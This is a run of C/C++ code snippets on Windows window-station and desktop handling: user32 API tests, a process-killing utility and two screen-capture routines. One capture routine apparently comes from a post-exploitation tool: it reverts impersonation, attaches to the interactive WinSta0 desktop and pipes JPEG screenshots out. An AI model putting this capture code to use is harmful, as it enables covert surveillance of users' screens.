CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "CreateWindowStation failed (%u)\n", le ); if (w2 != 0) { ok( w2 != w1, "CreateWindowStation returned default handle\n" ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop( (HDESK)w2 ), "CloseDesktop succeeded on win station\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); ok( CloseHandle( w2 ), "CloseHandle failed\n" ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); w2 = OpenWindowStation("winsta0", TRUE, WINSTA_ALL_ACCESS ); ok( w2 != 0, "OpenWindowStation failed\n" ); ok( w2 != w1, "OpenWindowStation returned default handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = OpenWindowStation("dummy name", TRUE, WINSTA_ALL_ACCESS ); ok( !w2, "open dummy win station succeeded\n" ); CreateMutexA( NULL, 0, "foobar" ); w2 = CreateWindowStation("foobar", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "create foobar station failed (%u)\n", le ); if (w2 != 0) { w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( w3 != 0, "open foobar station failed\n" ); ok( w3 != w2, "open foobar station returned same handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( CloseWindowStation( w3 ), "CloseWindowStation failed\n" ); w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( !w3, "open foobar station succeeded\n" ); w2 = CreateWindowStation("foobar1", 0, WINSTA_ALL_ACCESS, NULL ); ok( w2 != 0, "create foobar station failed\n" ); w3 = CreateWindowStation("foobar2", 0, WINSTA_ALL_ACCESS, NULL ); ok( w3 != 0, "create foobar station failed\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( GetHandleInformation( w3, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w2 ); atom = GlobalAddAtomA("foo"); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); ok( !CloseWindowStation( w2 ), "CloseWindowStation succeeded\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w3 ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); /* desktops */ d1 = GetThreadDesktop(GetCurrentThreadId()); initial_desktop = d1; ok( GetThreadDesktop(GetCurrentThreadId()) == d1, "GetThreadDesktop returned different handles\n" ); flags = 0; ok( GetHandleInformation( d1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), "handle %p PROTECT_FROM_CLOSE set\n", d1 ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop(d1), "closing thread desktop succeeded\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); if (CloseHandle( d1 )) /* succeeds on nt4 */ { win_skip( "NT4 desktop handle management is completely different\n" ); return; } ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseDesktop(d2), "closing dup desktop failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(d2), "closing dup desktop handle failed\n" ); d2 = OpenDesktop( "dummy name", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d2, "open dummy desktop succeeded\n" ); d2 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d2 != 0, "create foobar desktop failed\n" ); SetLastError( 0xdeadbeef ); ok( !CloseWindowStation( (HWINSTA)d2 ), "CloseWindowStation succeeded on desktop\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); d3 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d3 != 0, "create foobar desktop again failed\n" ); ok( GetLastError() == 0xdeadbeef, "bad last error %d\n", GetLastError() ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( d3 != 0, "open foobar desktop failed\n" ); ok( d3 != d2, "open foobar desktop returned same handle\n" ); ok( CloseDesktop( d2 ), "CloseDesktop failed\n" ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d3, "open foobar desktop succeeded\n" ); ok( !CloseHandle(d1), "closing thread desktop handle succeeded\n" ); d2 = GetThreadDesktop(GetCurrentThreadId()); ok( d1 == d2, "got different handles after close\n" ); register_class(); trace( "thread 1 desktop: %p\n", d1 ); print_object( d1 ); hthread = CreateThread( NULL, 0, thread, (LPVOID)2, 0, &id ); Sleep(1000); trace( "get other thread desktop: %p\n", GetThreadDesktop(id) ); WaitForSingleObject( hthread, INFINITE ); CloseHandle( hthread ); }
/* * Take a screenshot of this sessions default input desktop on WinSta0 * and send it as a JPEG image to a named pipe. */ DWORD screenshot( int quality, DWORD dwPipeName ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; HDESK hInputDesktop = NULL; HDESK hOrigDesktop = NULL; HWND hDesktopWnd = NULL; HDC hdc = NULL; HDC hmemdc = NULL; HBITMAP hbmp = NULL; BYTE * pJpegBuffer = NULL; OSVERSIONINFO os = {0}; char cNamedPipe[MAX_PATH] = {0}; // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. int xmetric = SM_CXVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN; DWORD dwJpegSize = 0; int sx = 0; int sy = 0; do { _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" ) // On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN. if( os.dwMajorVersion <= 4 ) { xmetric = SM_CXSCREEN; ymetric = SM_CYSCREEN; } // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // get the current process's window station so we can restore it later on. hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); // get the threads current desktop so we can restore it later on hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop hDesktopWnd = GetDesktopWindow(); // and get a DC from it so we can read its pixels! hdc = GetDC( hDesktopWnd ); if( !hdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" ); // back up this DC with a memory DC hmemdc = CreateCompatibleDC( hdc ); if( !hmemdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" ); // calculate the width and height sx = GetSystemMetrics( xmetric ); sy = GetSystemMetrics( ymetric ); // and create a bitmap hbmp = CreateCompatibleBitmap( hdc, sx, sy ); if( !hbmp ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" ); // this bitmap is backed by the memory DC if( !SelectObject( hmemdc, hbmp ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); // finally convert the BMP we just made into a JPEG... if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE ); // we have succeded dwResult = ERROR_SUCCESS; } while( 0 ); // if we have successfully taken a screenshot we send it back via the named pipe // but if we have failed we send back a zero byte result to indicate this failure. if( dwResult == ERROR_SUCCESS ) screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize ); else screenshot_send( cNamedPipe, NULL, 0 ); if( hdc ) ReleaseDC( hDesktopWnd, hdc ); if( hmemdc ) DeleteDC( hmemdc ); if( hbmp ) DeleteObject( hbmp ); // free the jpeg images buffer if( pJpegBuffer ) free( pJpegBuffer ); // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); return dwResult; }
static void test_inputdesktop2(void) { HWINSTA w1, w2; HDESK thread_desk, new_desk, input_desk, hdesk; DWORD ret; thread_desk = GetThreadDesktop(GetCurrentThreadId()); ok(thread_desk != NULL, "GetThreadDesktop failed!\n"); w1 = GetProcessWindowStation(); ok(w1 != NULL, "GetProcessWindowStation failed!\n"); SetLastError(0xdeadbeef); w2 = CreateWindowStationA("winsta_test", 0, WINSTA_ALL_ACCESS, NULL); ret = GetLastError(); ok(w2 != NULL || ret == ERROR_ACCESS_DENIED, "CreateWindowStation failed (%u)\n", ret); if (!w2) { win_skip("Not enough privileges for CreateWindowStation\n"); return; } ret = EnumDesktopsA(GetProcessWindowStation(), desktop_callbackA, 0); ok(!ret, "EnumDesktopsA failed!\n"); input_desk = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(input_desk != NULL, "OpenInputDesktop failed!\n"); ret = CloseDesktop(input_desk); ok(ret, "CloseDesktop failed!\n"); ret = SetProcessWindowStation(w2); ok(ret, "SetProcessWindowStation failed!\n"); hdesk = GetThreadDesktop(GetCurrentThreadId()); ok(hdesk != NULL, "GetThreadDesktop failed!\n"); ok(hdesk == thread_desk, "thread desktop should not change after winstation changed!\n"); ret = EnumDesktopsA(GetProcessWindowStation(), desktop_callbackA, 0); new_desk = CreateDesktopA("desk_test", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL); ok(new_desk != NULL, "CreateDesktop failed!\n"); ret = EnumDesktopsA(GetProcessWindowStation(), desktop_callbackA, 0); ok(!ret, "EnumDesktopsA failed!\n"); SetLastError(0xdeadbeef); input_desk = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(input_desk == NULL, "OpenInputDesktop should fail on non default winstation!\n"); ok(GetLastError() == ERROR_INVALID_FUNCTION || broken(GetLastError() == 0xdeadbeef), "last error %08x\n", GetLastError()); hdesk = OpenDesktopA("desk_test", 0, TRUE, DESKTOP_ALL_ACCESS); ok(hdesk != NULL, "OpenDesktop failed!\n"); SetLastError(0xdeadbeef); ret = SwitchDesktop(hdesk); todo_wine ok(!ret, "Switch to desktop belong to non default winstation should fail!\n"); todo_wine ok(GetLastError() == ERROR_ACCESS_DENIED || broken(GetLastError() == 0xdeadbeef), "last error %08x\n", GetLastError()); ret = SetThreadDesktop(hdesk); ok(ret, "SetThreadDesktop failed!\n"); /* clean side effect */ ret = SetThreadDesktop(thread_desk); todo_wine ok(ret, "SetThreadDesktop should success even desktop is not belong to process winstation!\n"); ret = SetProcessWindowStation(w1); ok(ret, "SetProcessWindowStation failed!\n"); ret = SetThreadDesktop(thread_desk); ok(ret, "SetThreadDesktop failed!\n"); ret = CloseWindowStation(w2); ok(ret, "CloseWindowStation failed!\n"); ret = CloseDesktop(new_desk); ok(ret, "CloseDesktop failed!\n"); ret = CloseDesktop(hdesk); ok(ret, "CloseDesktop failed!\n"); }
BOOL CALLBACK EnumWindowStationsFunc( LPSTR lpstr, LPARAM lParam ) /*++ Routine Description: Callback function for windowstation enumeration. Arguments: lpstr - windowstation name lParam - ** not used ** Return Value: TRUE - continues the enumeration --*/ { PTASK_LIST_ENUM te = (PTASK_LIST_ENUM)lParam; HWINSTA hwinsta; HWINSTA hwinstaSave; DWORD ec; // // open the windowstation // hwinsta = OpenWindowStation( lpstr, FALSE, MAXIMUM_ALLOWED ); if (!hwinsta) { return FALSE; } // // save the current windowstation // hwinstaSave = GetProcessWindowStation(); // // change the context to the new windowstation // if (!SetProcessWindowStation( hwinsta )) { ec = GetLastError(); SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); return TRUE; } te->lpWinsta = _strdup( lpstr ); // // enumerate all the desktops for this windowstation // EnumDesktops( hwinsta, EnumDesktopsFunc, lParam ); // // restore the context to the previous windowstation // if (hwinsta != hwinstaSave) { SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); } // // continue the enumeration // return TRUE; }
BOOL KillProcess( PTASK_LIST tlist, BOOL fForce ) { HANDLE hProcess; HDESK hdeskSave; HDESK hdesk; HWINSTA hwinsta; HWINSTA hwinstaSave; if (fForce || !tlist->hwnd) { hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, tlist->dwProcessId ); if (hProcess) { hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, tlist->dwProcessId ); if (hProcess == NULL) { return FALSE; } if (!TerminateProcess( hProcess, 1 )) { CloseHandle( hProcess ); return FALSE; } CloseHandle( hProcess ); return TRUE; } } // // open the windowstation // hwinsta = OpenWindowStation( tlist->lpWinsta, FALSE, MAXIMUM_ALLOWED ); if (!hwinsta) { return FALSE; } // // save the current windowstation // hwinstaSave = GetProcessWindowStation(); // // change the context to the new windowstation // SetProcessWindowStation( hwinsta ); // // open the desktop // hdesk = OpenDesktop( tlist->lpDesk, 0, FALSE, MAXIMUM_ALLOWED ); if (!hdesk) { return FALSE; } // // save the current desktop // hdeskSave = GetThreadDesktop( GetCurrentThreadId() ); // // change the context to the new desktop // SetThreadDesktop( hdesk ); // // kill the process // PostMessage( tlist->hwnd, WM_CLOSE, 0, 0 ); // // restore the previous desktop // if (hdesk != hdeskSave) { SetThreadDesktop( hdeskSave ); CloseDesktop( hdesk ); } // // restore the context to the previous windowstation // if (hwinsta != hwinstaSave) { SetProcessWindowStation( hwinstaSave ); CloseWindowStation( hwinsta ); } return TRUE; }
// outType = 1 : console, 2: file, 3: buffer bool Screen::takeScreenshot(const int outType, const char *filename, char **buffer, DWORD &size) { if (outType < 1 || outType > 3) { return false; } bool result = false; HBITMAP handleBitmapScreen = 0; HDC handleMemoryDC = 0; HWND hWnd = 0; HDC handleDeviceContextOfWindow = 0; // open the WinSta0 as some services are attached to a different window station. HWINSTA hWindowStation = hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) { MYPRINTF( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station"); return false; } // get the current process's window station so we can restore it later on. HWINSTA hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) { MYPRINTF( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); return false; } // grab a handle to the default input desktop (e.g. Default or WinLogon) //HDESK hInputDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED ); HDESK hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) { MYPRINTF( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); return false; } //if (SwitchDesktop(hInputDesktop) == 0){ // MYPRINTF( "[SCREENSHOT] screenshot: SwitchDesktop failed" ); // return false; //} // get the threads current desktop so we can restore it later on HDESK hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop HWND hDesktopWnd = GetDesktopWindow(); int screenWidth = GetSystemMetrics (SM_CXSCREEN); int screenHeight = GetSystemMetrics (SM_CYSCREEN); MYPRINTF("width: %d, height: %d\n", screenWidth, screenHeight); // Retrieve the handle to a display device context for the client // area of the window. HDC handleDeviceContextOfScreen = GetDC(hDesktopWnd); //HDC handleDeviceContextOfScreen = CreateDC("DISPLAY",NULL,NULL,NULL); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(0) has failed: %d", GetLastError()); goto done; } if (outType == 1) { // print to console //The source DC is the entire screen and the destination DC is the current window (HWND) // Get the client area for size calculation HWND hWnd = GetForegroundWindow(); HDC handleDeviceContextOfWindow = GetDC(hWnd); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(hWnd) has failed: %d", GetLastError()); goto done; } RECT rcClient; GetClientRect(hWnd, &rcClient); //This is the best stretch mode SetStretchBltMode(handleDeviceContextOfWindow, HALFTONE); if(!StretchBlt(handleDeviceContextOfWindow, 0,0, rcClient.right, rcClient.bottom, handleDeviceContextOfScreen, 0,0, screenWidth, screenHeight, SRCCOPY)) { MYPRINTF("StretchBlt has failed: %d", GetLastError()); goto done; } result = true; } else { // Create a compatible DC which is used in a BitBlt from the window DC handleMemoryDC = CreateCompatibleDC(handleDeviceContextOfScreen); if(!handleMemoryDC) { MYPRINTF("CreateCompatibleDC has failed: %d", GetLastError()); goto done; } BITMAPINFO bmpinfo; ZeroMemory(&bmpinfo,sizeof(bmpinfo)); LONG dwWidth = GetDeviceCaps(handleDeviceContextOfScreen, HORZRES); LONG dwHeight = GetDeviceCaps(handleDeviceContextOfScreen, VERTRES); //dwBPP = GetDeviceCaps(hScreen, BITSPIXEL); LONG dwBPP = 24; LONG dwNumColors = GetDeviceCaps(handleDeviceContextOfScreen, NUMCOLORS); LPVOID pBits; bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); bmpinfo.bmiHeader.biWidth = dwWidth; bmpinfo.bmiHeader.biHeight = dwHeight; bmpinfo.bmiHeader.biPlanes = 1; bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP; bmpinfo.bmiHeader.biCompression = BI_RGB; bmpinfo.bmiHeader.biSizeImage = 0; bmpinfo.bmiHeader.biXPelsPerMeter = 0; bmpinfo.bmiHeader.biYPelsPerMeter = 0; bmpinfo.bmiHeader.biClrUsed = dwNumColors; bmpinfo.bmiHeader.biClrImportant = dwNumColors; handleBitmapScreen = CreateDIBSection(handleDeviceContextOfScreen, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0); /** // Create a compatible bitmap from the Window DC handleBitmapScreen = CreateCompatibleBitmap(handleDeviceContextOfScreen, screenWidth, screenHeight); if(!handleBitmapScreen) { MYPRINTF("CreateCompatibleBitmap Failed: %d", GetLastError()); goto done; } */ // Select the compatible bitmap into the compatible memory DC. if (SelectObject(handleMemoryDC, handleBitmapScreen) == 0) { MYPRINTF("SelectObject Failed: %d", GetLastError()); goto done; } // Bit block transfer into our compatible memory DC. if(!BitBlt(handleMemoryDC, 0, 0, screenWidth, screenHeight, handleDeviceContextOfScreen, 0, 0, SRCCOPY)) { MYPRINTF("BitBlt has failed: %d", GetLastError()); goto done; } BITMAP bmpScreen; // Get the BITMAP from the HBITMAP if (GetObject(handleBitmapScreen, sizeof(BITMAP), &bmpScreen) == 0) { MYPRINTF("GetObject has failed: %d", GetLastError()); goto done; } BITMAPFILEHEADER bmfHeader; BITMAPINFOHEADER bi; bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = bmpScreen.bmWidth; bi.biHeight = bmpScreen.bmHeight; bi.biPlanes = 1; bi.biBitCount = 32; bi.biCompression = BI_RGB; bi.biSizeImage = 0; bi.biXPelsPerMeter = 0; bi.biYPelsPerMeter = 0; bi.biClrUsed = 0; bi.biClrImportant = 0; DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight; HANDLE hData = GlobalAlloc(GHND,dwBmpSize); char *bmpdata = (char *)GlobalLock(hData); // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc // have greater overhead than HeapAlloc. HANDLE hDIB = GlobalAlloc(GHND,dwBmpSize); char *lpbitmap = (char *)GlobalLock(hDIB); // Gets the "bits" from the bitmap and copies them into a buffer // which is pointed to by lpbitmap. //GetDIBits(handleDeviceContextOfWindow, handleBitmapScreen, 0, GetDIBits(handleDeviceContextOfScreen, handleBitmapScreen, 0, (UINT)bmpScreen.bmHeight, lpbitmap, (BITMAPINFO *)&bi, DIB_RGB_COLORS); // Add the size of the headers to the size of the bitmap to get the total file size DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); //Offset to where the actual bitmap bits start. bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER); //Size of the file bmfHeader.bfSize = dwSizeofDIB; //bfType must always be BM for Bitmaps bmfHeader.bfType = 0x4D42; //BM DWORD dwBytesWritten = 0; UINT mybmpsize = dwBmpSize + sizeof(bi) + sizeof(bmfHeader); // put headers together to make a .bmp in memory memcpy(bmpdata, &bmfHeader, sizeof(bmfHeader)); memcpy(bmpdata + sizeof(bmfHeader), &bi, sizeof(bi)); memcpy(bmpdata + sizeof(bmfHeader) + sizeof(bi), lpbitmap, dwBmpSize); if (outType == 2) { // Now convert to JPEG if (bmp2jpegtofile((PBYTE)bmpdata, 70, filename ) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } else { if (bmp2jpegtomemory((PBYTE)bmpdata, 70, (BYTE **)buffer, &size) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } //Unlock and Free the DIB from the heap GlobalUnlock(hDIB); GlobalFree(hDIB); GlobalUnlock(hData); GlobalFree(hData); } //Clean up done: // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); DeleteObject(handleBitmapScreen); DeleteObject(handleMemoryDC); ReleaseDC(NULL,handleDeviceContextOfScreen); ReleaseDC(hWnd,handleDeviceContextOfWindow); return result; }